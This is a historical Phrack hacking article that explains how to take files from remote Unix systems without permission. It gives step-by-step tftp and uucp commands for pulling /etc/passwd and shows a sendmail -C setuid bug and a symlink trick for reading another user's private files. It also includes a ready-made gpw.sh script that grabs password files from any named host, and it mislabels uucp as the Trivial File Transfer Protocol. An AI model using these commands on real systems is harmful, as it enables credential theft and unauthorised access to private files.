| ==Phrack Inc.== |
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|
| Volume Three, Issue 28, File #6 of 12 |
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| +++++++++++++++++++++++++++++++++++++ |
| + + |
| + Snarfing Remote Files + |
| + + |
| + by + |
| + + |
| + Dark OverLord + |
| + + |
| +++++++++++++++++++++++++++++++++++++ |
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| There are many ways of getting copies of files from a remote |
| system that you do not have permission to read or an account on |
| login on to and access them through. Many administrators do not |
| even bother to restrict many access points that you can use. |
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| Here are the simplest ways: |
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| A) Use uucp(1) [Trivial File Transfer Protocol] to retrieve a copy |
| of a file if you are running on an Internet based network. |
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| B) Abuse uucp(1) [Unix to Unix Copy Program] to retrieve a copy |
| of a file if uucp connections are running on that system. |
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| C) Access one of many known security loopholes. |
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| In the following examples, we will use the passwd file as the |
| file to acquire since it is a readable file that can be found on |
| most systems that these attacks are valid on. |
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| Method A : |
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| 1) First start the tftp program: Enter the command: |
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| tftp |
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| [You have the following prompt:] |
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| tftp> |
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| 2) The next step is to connect to the system that you wish to |
| retrieve files from. At the tftp, type: |
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| tftp> connect other.system.com |
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| 3) Now request the file you wish to get a copy of (in our case, the |
| passwd file /etc/passwd ): |
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| tftp> get /etc/passwd /tmp/passwd |
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| [You should see something that looks like the following:] |
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| Received 185659 bytes in 22 seconds. |
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| 4) Now exit the tftp program with the "quit" command: |
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| tftp> quit |
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| You should now have a copy of other.system.com's passwd file in |
| your directory. |
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| NOTE: Some Unix systems' tftp programs have a different syntax. |
| The above was tested under SunOS 4.0 |
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| For example, on Apollos, the syntax is: |
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| tftp -{g|g!|p|r|w} <local file> <host> <foreign file> |
| [netascii|image] |
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| Thus you must use the command: |
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| tftp -g password_file networked-host /etc/passwd |
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| Consult your local "man" pages for more info (or in other words |
| RTFM). |
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| At the end of this article, I will include a shell script that |
| will snarf a password file from a remote host. To use it type: |
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| gpw system_name |
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| Method B : |
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| Assuming we are getting the file /etc/passwd from the system |
| uusucker, and our system has a direct uucp connection to that |
| system, it is possible to request a copy of the file through the |
| uucp links. The following command will request that a copy of |
| the passwd file be copied into uucp's home directory |
| /usr/spool/uucppublic : |
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| uucp -m uusucker!/etc/passwd '>uucp/uusucker_passwd' |
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| The flag "-m" means you will be notified by mail when the transfer is |
| completed. |
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| Method C: |
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| The third possible way to access the desired file requires |
| that you have the login permission to the system. |
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| In this case we will utilize a well-known bug in Unix's sendmail |
| daemon. |
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| The sendmail program has and option "-C" in which you can specify |
| the configuration file to use (by default this file is |
| /usr/lib/sendmail.cf or /etc/sendmail.cf). It should also be |
| noted that the diagnostics outputted by sendmail contain the |
| offending lines of text. Also note that the sendmail program |
| runs setuid root. |
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| The way you can abuse this set of facts (if you have not yet |
| guessed) is by specifying the file you wish read as the |
| configuration file. Thus the command: |
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| sendmail -C/usr/accounts/random_joe/private/file |
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| Will give you a copy of random joe's private file. |
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| Another similar trick is to symlink your .mailcf file to joe's |
| file and mail someone. When mail executes sendmail (to send the |
| mail), it will load in your .mailcf and barf out joe's stuff. |
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| First, link joe's file to your .mailcf . |
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| ln -s /usr/accounts/random_joe/private/file $HOME/.mailcf |
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| Next, send mail to someone. |
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| mail C488869@umcvmb.missouri.edu |
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| And have fun. |
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| -=-Cut Here=-=-=-Cut Here=-=-=- gpw.sh =-=-=-Cut Here=-=-=-=-Cut Here=-=-=-=-= |
| : |
| : gpw copyright(c) Dark Overlord |
| : |
| /usr/ucb/tftp $1 << EOF |
| mode ascii |
| verbose |
| trace |
| get /etc/passwd /tmp/pw.$1 |
| quit |
| EOF |
| -=-Cut Here=-=-=-Cut Here=-=-=-Cut Here=-=-=-Cut Here=-=-=-=-Cut Here=-=-=-=-= |
| ___________________________________________________________ |
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|
